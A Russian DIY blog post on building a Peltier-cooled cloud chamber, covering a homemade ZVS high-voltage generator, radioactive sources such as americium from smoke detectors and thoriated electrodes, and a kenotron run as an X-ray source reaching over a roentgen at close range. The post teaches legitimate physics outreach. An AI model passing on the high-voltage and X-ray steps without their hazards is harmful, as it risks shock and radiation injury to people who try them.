Вот простой показательный пример. Пирометр показывает на самом слабом элементе минус 9.5 градусов, а на самом сильном почти 23 градуса. Разница в 13 градусов. Были мысли что этот эффект связан с системой охлаждения, так как в начале вода проходит через первую сборку теплообменника, а потом попадает во вторую. Но нет, замена шлангов местами ни к чему хорошему не привели.

И как теперь быть?! Да никак. Одеваемся и выдвигаемся за новыми белыми квадратами. Повезло, что магазин под боком. В итоге пришлось отбирать четыре элемента из восьми для достижения почти одинаковых температур на поверхностях. Разница вышла в пару градусов.

Смотровая камера. Её назначение многозадачное: предотвратить теплообмен охладителя с окружающей средой, не допустить попадания внешних воздушных потоков, создать замкнутое пространство для циркуляции паров спирта и обеспечить беспрепятственный зрительный контакт с испытуемым образцом внутри камеры.

Найти такой пластиковый контейнер оказалось не просто. Требование к нему — это хорошая прозрачность. Несмотря на всю аккуратность и старания во избежание возможных царапин, подвох пришел оттуда, откуда его меньше всего ждали. Полиэтиленовый одноразовый пакет в котором находился контейнер, царапал поверхность как наждачка при каждом касании пальцами. Естественно это никуда не годится, так как восстановить поверхность уже нереально.

Плюс такой коробки — это красивый вид, минус — съемка возможна только в дневное время при правильном освещении. Во время работы все следы пальцев, царапин, неравномерности стенок пластика и прочий перечень минусов дадут о себе знать. Наблюдение за распадами сверху, вообще не представляется возможным из-за катаракты крышки пищевого контейнера.

Выход — заказать подобие стеклянного аквариума нужного размера. Подручными средствами убираем все дефекты, чистим, моем, полируем и в итоге получаем довольно приличную камеру. Внешние размеры стенок которой 10 на 10 см и высотой 12 см.

На одной из сторон куба можно наблюдать сантиметровый технологический вырез в верхней части, он заранее предусмотрен для установки подсветки. Реализована она на семи сверхъярких белых светодиодах диаметром 3 мм, которые вставлены в пластиковую основу. Смоделирована она в SolidWorks и распечатана на 3D принтере.

Козырек изначально не предусматривался, но он необходим для того, чтобы прямой свет не попадал в объектив видеокамеры. Пересвеченный кадр на фоне наблюдаемых распадов с большой вероятностью будет несмотрибельным.

Дальше алмазной коронкой нужно высверлить в стекле два отверстия по бокам в верхней части камеры. Делается это с помощью дрели, высоких оборотах и добавлением воды. Стекло может нагреться в месте трения и треснуть. Сейчас нам это меньше всего нужно.

С внутренней стороны на местах отверстий клеем пористую губку. Она представляет собой отрезок твердой абразивной стороны кухонной мочалки для мытья посуды. Фасон на любой вкус и цвет. В дальнейшем она будет пропитываться спиртом и служить источником тех самых паров, которые будут конденсироваться на дне камеры. Через отверстия удобно дозаправлять камеру спиртом во время работы.

Казалось бы, мы выполнили основную работу и теперь можно запускать установку, наблюдая за распадами радиоактивных источников. Да, ноооо… Нет!

Для качественного наблюдения за треками нужно выполнить один важный пункт. А именно подать высокое напряжения и зарядить положительным потенциалом внутренний объем камеры. Для этого делается квадратная рамка внутри и выводиться наружу контакт через заранее проделанные отверстия. Рамка сделана из тонкого медного провода взятого из жил витой пары.

Вот простой пример влияния высокого напряжения на работу камеры. Она вышла на режим и работает довольно продолжительное время, но внутри не видно никаких распадов. Подаем высокое напряжение, а внутри что то пыхает и через пару секунд довольно отчетливо виден природный радиационный фон. Куча мелких частиц попадает в конденсационное облако и оставляет свой след. Этот эффект похож на самолет который пролетел высоко в небе. Самолет мы невидим, а облако пара за ним может тянутся на много километров показывая траекторию полета.

В качестве источника высокого напряжения во время проведения экспериментов можно использовать промышленные блоки БВ9-1.5, но вряд ли вы его найдете в свободной продаже.
В паспорте к устройству имеется электрическая принципиальная схема, она построена на базе простого двухтактного генератора с обратной связью. Попробуем повторить что-то подобное в более современном исполнении.

На просторах всемирной паутины давно гуляют схемы распространенных ZVS генераторов, они проверены временем и не требую никакой особой настройки. Схему такого устройства и Gerber файлы платы можете скачать тут. Для сборки тут нужен всего десяток деталей которые легко помещаются в одной руке. Самыми дорогими среди них являются силовые транзисторы, в данном случае это IRFP250 или IRFP260, тут все зависит от входного напряжения с которым вы собираетесь работать. Конденсаторы взял марки MKPH 0.33 микрофарада, их используют в индукционных плитах.

Пару часов работы в программе EasyEDA и на выходе получаем компактное устройство с размещением всех элементов. Так как не все умеют травить печатные платы их производство за символическую сумму можно заказать в Китае.

Для сборки, схема не нужна, так как на маске указано где и как размещаются все компоненты. Перед установкой транзисторов на радиатор их желательно смазать термопастой, но как покажет дальнейшая практика, нагрева при работе совсем не будет. В результате всех манипуляция у нас получился мощный, компактный, двухтактный ZVS генератор. Второе название Push-pull. С его помощью можно вытягивать длинные горячие дуги из строчных трансформаторов отечественных телевизоров.

Прежде чем перейти к следующей части, нужно намотать трансформатор. Маркировка ТВС-110. Снимает первичную катушку и вместо нее мотаем толстым проводом 2 обмотки по 5 витков с отводом от середины. При правильной сборке высоковольтного генератора его работа будет выгладить так. При зажигании дуги ток потребления будет порядка 2 Ампер при напряжении питания 12 вольт. По мере увеличения дуги ток потребления будет расти вплоть до 10 Ампер. Дуга при этом будет толстая и белая. Трогать ее пальцами не нужно! Подключив на выход строчника умножитель ун9/27, можно получать высокие напряжения вплоть до много десятков Киловольт. Выходное напряжение тут напрямую зависит от входного. Работа генератора начинается от напряжения 8 вольт и выше.

Для ленивых. Чтобы не строить огород можно использовать строчник типа ТДКС от более современных телевизоров. Там внутри уже имеется умножитель напряжения. Недостаток — выходной ток, у ТДКС он очень мал.

Теперь рассмотрим ситуацию что вы все собрали, но дуга при этом вышла тонкая, синяя и в общем никакая. Это признак неправильно намотанной первичной обмотки. Важно соблюдать направление намотки в одну сторону. Если намотать неправильно, то такой режим работы даже на холостом ходу приведет к чрезмерному потреблению тока. Дроссель по питанию, транзисторы и феррит будут нагреваться до немыслимых температур, больше сотни градусов. Из дорожек платы с большой вероятностью пойдет дым, а изоляция провода первичной обмотки превратится в сыр от перегрева. С этим разобрались.

После сборки схемы на выходе умножителя у нас имеется высокое напряжение. Его необходимо подать на рамку из медного провода в верхней части камеры Вильсона.

На что оно влияет?! Так как источник ионизирующего излучения в камере действует непрерывно, в скором времени внутри образуется много ионов в процессе радиоактивного распада источника, а перенасыщенный пар спирта конденсируется на них создавая туман, который мешает визуальному наблюдению за распадами. Положительный заряд высоковольтного генератора притягивает лишние ионы, улучшая картину наблюдаемого процесса.

Интересный эффект получает в момент включения высоковольтного генератора. Внутри камеры образуется некий взрыв, природа которого напоминает работу атомного оружия с эпицентром от центра. После этого, невидимые треки обретают тонкий игольчатый характер, который довольно легко и просто наблюдать и изучать в дальнейшем. Благодарю за объяснение этого эффекта Женю Соловьева и Артема Беккереля.

У нас все готово к запуску. В процессе работы элементы Пельте будут сильно нагреваться и их нужно качественно охлаждать. С этим нам поможет холодная вода. Примерно 5 литров охлаждаем в холодильнике, а все остальное замораживается в бутылках в морозильнике.
Тут мне отлично пригодились бутылки с под пива, двойная польза так сказать.

Погружной насос размещаем с одной стороны этого ледяного бассейна, а с другой будет шланг через который выходит отобравшая тепло у системы вода. Она пройдя весь путь через ледяные бутылки вернется обратно к насосу и процесс повторится, пока в бутылках не растает весь лед.

Время заправить систему благородной жидкостью. В камере использован этиловый спирт из аптеки. Использовать изопропанол многие не рекомендуют, так как его пары вступают в реакцию с различными пластиками, что в результате может привести к разным непредвиденным ситуациям в процессе работы. Сам не проверял.

И так, настал тот самый момент, ради которого мы все здесь собрались. Включаем установку. Зажигается подсветка и насос начинает перекачивать воду по системе охлаждения. Камера выходит на режим в течении 40 секунд при условии что температура воды будет порядка пяти градусов.

Из-за большого потока ионизирующего излучения спирт не успевает конденсироваться на треках, что приводит к непонятному слою тумана в центральной части источника. Высоковольтное напряжение генератора избавится от этого эффекта не помогает. На верхах видим одинокие следы самых сильных частиц, которые смогли пролететь дальше всех. Если в камере альфа источник, то уменьшить его поток можно с помощью фольги и проделанного в ней отверстии. Так картина выглядит намного красивей.

Самое удивительное в этом всем процессе, это наблюдение за распадами обычного природного фона. Их оказывается так много, что и представить трудно. Десятки различных событий ежесекундно регистрируется в камере.

Тонкие кривые треки — это следы электронов (бета излучение). Толстые жирные треки — это альфа частицы (ядра гелия). Что касается гамма-излучения, говорят что камера не способна его зарегистрировать.

Только хотел это проверить, как произошло что-то странное. Один элемент Пельтье перестал работать. Нижний 12 Вольтовый модуль в бутерброде просто взял вышел из строя на ровном месте. Пришлось разбирать установку, разбираться в чем проблема и ехать в магазин за новым элементом.

Сейчас нам нужно достать радиоактивные источники. Желательно такие, чтобы вас потом в места не столь отдаленные не заперли. В этом нам поможет Алиэкспрес.

Это ионизационная камера для дымоизвещателя, в нем содержится америций — 241. Альфа источник. Чувствительный слюдяной датчик Радиаскан 701 со снятой крышкой фильтра, показывает примерно 7.7 Миллирентген условно.

При достижении температуры ниже 35-40 градусов, спирт становится достаточно пересыщенным чтобы в нем можно было наблюдать треки заряженных частиц. В центральной части сейчас ничего не видно, пресыщенность пара в этом месте пропадает из-за большой интенсивностью источника ионизирующего излучения. Вся картина напоминает перо павлина, которое дает более 30.000 тысяч распадов на сантиметр квадратный в минуту. На сколько больше на знаю, так как Радиаскан 701 при таком измерении уходит в зашкал.

Физика возникновения треков связана с тем, что ионизирующая частица на своем пути оставляет след Ионов, связанных с столкновением альфа частицы или электронов с молекулами того газа что находится в камере. Образовавшиеся Ионы в итоге выполняют роль центров конденсации пересыщенного спирта. Весь процесс трекообразования наблюдается примерно на уровне 3 миллиметров над уровнем охлаждающей поверхности. Все просто.

Ториевые электроды для сварки WT-20 с двухпроцентным содержания радиоактивного оксида тория — 232. Он альфа-радиоактивен с периодом полураспада всего лишь 14,05 млрд лет. Треки возникающие при распаде тория длинные и красивые и в редких случаях частица может пролететь через всю камеру. Едем дальше…

Оксид тория как и в случае урановых пуговиц добавляют при производстве стекла. Китайцы на алиэкспресс торгуют так называемыми скалярными медальонами, которые якобы наделяю вас какой-то положительной энергией. Медальон тоже светится в ультрафиолете и максимум на что способен это ионизировать ваши клетки в организме, вызывая их преждевременную гибель. Распады радиоактивного тория на мой взгляд самые красивые для визуального наблюдения.

Десерт программы. Рентгеновская установка на советском кенотроне 2Ц2С. Год выпуска 1965. Если подать на него достаточно высокое напряжение, эта радиолампа может служить источником рентгеновского излучения. При этом внутри ее стеклянного баллона можно наблюдать красивое голубое свечение вызванное влиянием высокого напряжения. При сильных уровнях рентгена стеклянный баллон начинает светиться зеленым светом вызванным тормозным излучением. Явление красивое, но рекомендую наблюдать его только на экранах ваших мониторов.

Медленно поднимаем анодное напряжение на лампе и в какой то момент все дно камеры покрывается мелкими точками, вызванными низкоэнергетическим рентгеном. Чем выше энергия частицы, тем меньше ее ионизирующая способность. В какой то момент энергия излучения вырастает и взаимодействие пропадает. Видны только фоновые треки, при этом уровни на 40 сантиметрах от кенотрона достигают 5 Миллирентген.

Из практики. На грани пробоя высоким напряжением такая трубка дает больше одного Рентгена на расстоянии 30 сантиметров. Вот такие интересные опыты у нас получились. Всё это и многое другое вы можете видеть на нашей странице инстаграмме. Там всегда выходят свежие новости.

Для справки. Съемка данного выпуска заняла почти 3 месяца. Стоимость данной камеры Вильсона со всеми непредвиденными расходами обошлась примерно в 150 баксов. Сюда также включены блоки питания и токоизмерительные клещи, которыми мы измеряли ток. Зная все нюансы и тонкости в этом ремесле, вы без труда сможете собрать такую установку дома и с интересом наблюдать за явлениями которые обычно не видны невооруженному глазу. Теперь вы знаете как выглядит радиация и с чем ее едят.

Как гласит Японская мудрость:
Быстро — это медленно, но без перерывов.



Полное видео проекта на YouTube
Наш Instagram

Let's block ads! (Why?)